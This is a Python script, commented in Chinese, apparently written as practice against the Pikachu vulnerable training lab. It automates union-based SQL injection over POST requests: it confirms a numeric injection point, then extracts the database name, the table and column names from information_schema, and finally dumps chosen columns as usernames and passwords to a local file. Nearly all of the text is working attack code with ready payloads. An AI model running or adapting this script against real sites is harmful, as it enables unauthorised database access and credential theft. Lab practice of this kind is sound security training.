pikachu自编SQL(POST)

#target_table = int(input("请输入你要爆破的表名位置:table_list[x]:"))#注意类型
#注意页面回显，看两段，以及返回几个内容
#r'your email is:(.*?)</p>', col_resp.text, re.S)注意正则匹配不要多加空格
#from {table_list[target_table]} 和where table_name = '{table_list[target_table]}'

#target_table = int(input("请输入你要爆破的表名位置:table_list[x]:"))#注意类型
#注意页面回显，看两段，以及返回几个内容
#r'your email is:(.*?)</p>', col_resp.text, re.S)注意正则匹配不要多加空格
#from {table_list[target_table]} 和where table_name = '{table_list[target_table]}'
import requests
import re

target_url = "http://192.168.8.1/pikachu-master/vul/sqli/sqli_id.php"

if __name__ == "__main__":
    with open("post_sql.txt", "w", encoding="utf-8") as f:
        true_payload = {"id": "1 or 1=1 #", "submit": "查询"}
        false_payload = {"id": "1 or 1=2 #", "submit": "查询"}
        resp_true = requests.post(url=target_url, data=true_payload)
        resp_false = requests.post(url=target_url, data=false_payload)
        if len(resp_true.text) != len(resp_false.text):
            print("[+] 注入成功，存在数字型注入!")
            print("[+] 接下来开始爆库，爆表，爆字段")
        else:
            print("[-] 注入失败开始重新构造Payload")
            print(resp_false.text[:500])
            exit()

        print("=" * 50)
        print("[+] 开始爆库")
        db_payload = {"id": "1 union select 1,database() #", "submit": "查询"}
        db_resp = requests.post(url=target_url, data=db_payload)
        db_match = re.findall(r"your email is: (.*?)</p>", db_resp.text, re.S)
        if db_match:
            db_name = db_match[-1].strip()
            print(f"[+] 成功获取到库名:{db_name}")
            f.write(f"[+] 库名{db_name}\n")

        else:
            print("[-] 爆库失败，请重新构造payload！")
            print(db_resp.text[:500])
            exit()

        print("="*50)
        print("[+] 开始爆表 ")
        table_payload = {"id":"1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #","submit":"查询"}
        table_resp = requests.post(url=target_url, data=table_payload)
        table_match = re.findall(r"your email is:(.*?)</p>",table_resp.text, re.S)

        if table_match:
            print("[+] 成功爆破 ")
            table_name = table_match[-1].strip() #生成的是""字符串
            table_list = table_name.split(",")
            f.write(f"[+] 表名{table_list}\n")
            print(f"[+] table_list = {table_list}")
        else:
            print("[-] 爆表失败，重新构造payload!")
            print(table_resp.text[:500])

        print("="*50)
        print("[+] 爆破字段")
        target_table = int(input("请输入你要爆破的表名位置:table_list[x]:"))#注意类型
        col_payload = {"id":f"1 union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = '{table_list[target_table]}' #","submit":"查询"}
        col_resp = requests.post(url=target_url, data=col_payload)
        col_match = re.findall(r'your email is:(.*?)</p>', col_resp.text, re.S)

        if col_match:
            col_name = col_match[-1].strip()
            print("[+] 注入成功 ")
            col_list = col_name.split(",")
            print(f"[+] 段名为{col_list}")
            f.write(f"[+] 保存{col_list}\n")

        else:
            print("[-] 注入失败 ")
            print(col_resp.text[:500])

        print("="*50)
        num1,num2 = map(int,input("请输入你要查询的两个字段内容col_list[num]用逗号隔开:").split(","))

        pwd_payload = {"id":f"1 union select 1,group_concat({col_list[num1]},'|',{col_list[num2]}) from {table_list[target_table]} #","submit":"查询"}
        pwd_resp = requests.post(url=target_url, data=pwd_payload)
        user_matchs = re.findall(r'hello,(.*?)</p>', pwd_resp.text, re.S)
        pwd_matchs = re.findall(r'your email is:(.*?)</p>',  pwd_resp.text, re.S)
        if pwd_matchs:
            print("[+] 注入成功 ")
            print(f"[+] 账号和密码为:\n")
            result = pwd_matchs[-1].strip()
            user_pwd_list = result.split(",")
            for up in user_pwd_list:
                if '|' in up:
                    user,pwd = up.split('|',1)
                    print(f"[+] 用户名:{user} 密码:{pwd}")
                    f.write(f"用户名:{user} | 密码:{pwd}\n")

        else:
            print("[-] 注入失败，请重新构造payload")
            for line in pwd_resp.text.splitlines():
                if "hello" in line or "your email" in line:
                    print(line.strip())
                    f.write(line.strip() + "\n")

    print("[+] 结果已保存在 post_sql.txt")